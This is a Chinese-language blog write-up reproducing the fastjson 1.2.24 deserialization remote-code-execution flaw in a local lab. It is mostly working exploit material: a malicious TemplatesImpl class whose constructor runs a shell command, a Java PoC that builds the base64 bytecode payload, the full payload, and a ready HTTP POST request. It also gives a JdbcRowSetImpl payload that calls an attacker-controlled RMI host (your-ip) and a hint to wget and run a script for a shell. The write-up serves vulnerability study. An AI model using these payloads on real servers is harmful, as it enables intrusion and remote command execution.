内容简介:最近复现一些java方面的漏洞,之前护网杯遇到过一次fastjson反序列化利用的题目,于是这里便从在idea中创建一个maven项目开始复现一下fastjson的反序列化漏洞。fastjson反序列化漏洞的主要影响范围是<=1.2.24版本的fastjson。因此,参考之后首先编辑ShellExec类,这个类也是反序列化的一个目标类
最近复现一些 java 方面的漏洞,之前护网杯遇到过一次fastjson反序列化利用的题目,于是这里便从在idea中创建一个maven项目开始复现一下fastjson的反序列化漏洞。
fastjson反序列化漏洞的主要影响范围是<=1.2.24版本的fastjson。因此,参考 在IDEA中创建maven项目 在创建好maven项目之后,编辑pom.xml加入fastjson需要的dependency:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-io</artifactId> <version>1.3.2</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.9</version> </dependency>
之后首先编辑ShellExec类,这个类也是反序列化的一个目标类
package com.alijsondeser; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class ShellExec extends AbstractTranslet{ public ShellExec() throws IOException{ Runtime.getRuntime().exec("mkdir /tmp/imagemlt"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { ShellExec t = new ShellExec(); } }
然后便是我们的poc类
package com.alijsondeser; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; /** * Created by web on 2017/4/29. */ public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = System.getProperty("user.dir") + "/target/classes/com/alijsondeser/ShellExec.class"; //final String evilClassPath = "/tmp/ShellExec.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1,Object.class,config,Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
执行poc,查看目录可以看到已经被执行
生成的payload为:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMY29tL2FsaWpzb25kZXNlci9TaGVsbEV4ZWM7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEADlNoZWxsRXhlYy5qYXZhDAAIAAkHAC8MADAAMQEAE21rZGlyIC90bXAvaW1hZ2VtbHQMADIAMwEAGmNvbS9hbGlqc29uZGVzZXIvU2hlbGxFeGVjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABQADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAFwAIABgADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
web环境下的测试可以使用war包 https://raw.githubusercontent.com/yaofeifly/vulhub/master/fastjson/vuln/fastjson-1.0.war ,从tomcat后台导入。
之后我们只需要用post方式发包
POST /fastjson-1.0/ HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.7,en;q=0.3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 2272 {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMY29tL2FsaWpzb25kZXNlci9TaGVsbEV4ZWM7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEADlNoZWxsRXhlYy5qYXZhDAAIAAkHAC8MADAAMQEAE21rZGlyIC90bXAvaW1hZ2VtbHQMADIAMwEAGmNvbS9hbGlqc29uZGVzZXIvU2hlbGxFeGVjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABQADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAFwAIABgADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
可以看到文件夹已经被创建且与tomcat运行用户权限相同(root)。
getshell只需要先wget一个脚本再执行即可。
关于fastjson反序列化漏洞的发现我们可以让服务器发送请求到我们的公网vps:
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://your-ip:1099/Object","autoCommit":true}
出现如图的回显即可确认存在反序列化漏洞。
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